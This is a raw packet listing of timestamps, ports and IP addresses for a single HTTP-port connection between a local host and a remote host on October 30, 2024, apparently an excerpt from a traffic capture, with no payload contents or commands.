Oct 30, 2024 12:36:51.595585108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595597982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595607996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595608950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595623016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595637083 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595647097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595654964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595658064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595669031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595694065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595716000 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595742941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595752954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595762968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595774889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595782995 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595787048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595798969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595808983 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595813036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595832109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595860004 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595865965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595875978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595886946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595896959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595904112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595909119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595928907 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595949888 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.595988035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.595998049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596014023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596021891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596024990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596029997 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596035957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596039057 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596045971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596065044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596071005 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596076965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596088886 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596097946 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596108913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596117020 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596118927 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596131086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596144915 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596159935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596169949 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596172094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596182108 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596198082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596199036 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596208096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596218109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596225023 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596230030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596261024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596271038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596276999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596287012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596317053 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596458912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596468925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596478939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596489906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596508026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596534014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596539021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596550941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596560955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596571922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596581936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.596587896 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596610069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.596626997 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597263098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597274065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597285032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597310066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597322941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597333908 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597342014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597346067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597357988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597369909 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597398043 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597405910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597417116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597428083 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597440958 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597470045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597505093 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597515106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597524881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597536087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597543001 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597547054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597558022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597560883 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597568989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597583055 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597589016 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597614050 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597629070 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597644091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597655058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597665071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597673893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597678900 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597686052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597697020 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597697973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597708941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597712994 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597733021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597755909 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597784042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597795010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597804070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597815037 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597826958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597831964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597843885 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597853899 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597877026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597953081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597961903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597971916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597982883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.597990990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.597992897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598005056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598010063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598025084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598033905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598036051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598045111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598062992 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598069906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598078966 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598081112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598092079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598104954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598114014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598114967 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598128080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598134041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598140001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598150969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598155975 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598161936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598174095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598189116 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598218918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598228931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598239899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598251104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598262072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598274946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598274946 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598285913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598297119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598301888 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598308086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598319054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598318100 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598337889 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598356962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598366022 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598373890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598383904 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598398924 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598423004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598431110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598433971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598443985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598459959 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598480940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598495960 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598522902 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598567963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598577976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598587990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598602057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598609924 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598633051 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598644972 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598673105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598685026 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598711014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598725080 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.598979950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.598989964 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599000931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599029064 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599049091 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599050999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599062920 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599076033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599098921 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599114895 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599127054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599155903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599167109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599170923 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599189997 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599199057 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599225044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599236965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599250078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599261045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599263906 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599282980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599302053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599308014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599328995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599339008 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599339962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599351883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599366903 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599376917 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599390984 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599399090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599409103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599420071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599431038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599447012 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599452019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599461079 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599462986 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599503040 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599534035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599545956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599556923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599570036 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599597931 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599658966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599673986 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599684954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599694967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599705935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599705935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599720001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599729061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599731922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599742889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599755049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599762917 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599771976 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599772930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599785089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599802017 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599803925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599813938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599827051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599829912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599838018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599850893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599864006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599874973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599879026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599885941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599896908 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599908113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599910021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599920034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599929094 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599931002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599944115 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599975109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.599983931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.599999905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600011110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600023985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600025892 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600034952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600045919 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600053072 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600083113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600116968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600127935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600138903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600152016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600162029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600179911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600193977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600203991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600208044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600219965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600229979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600230932 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600250959 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600270987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600347042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600358009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600368977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600382090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600393057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600398064 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600404978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600414991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600418091 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600439072 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600471020 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600677013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600687027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600723028 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600733042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600737095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600745916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600770950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600780010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600789070 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600791931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600814104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600820065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600826979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600841045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600848913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600851059 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600860119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600869894 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600872040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600883961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.600891113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600913048 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.600941896 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601007938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601018906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601030111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601053953 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601084948 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601182938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601193905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601203918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601213932 CET	80	49747	185.215.113.16	192.168.2.4
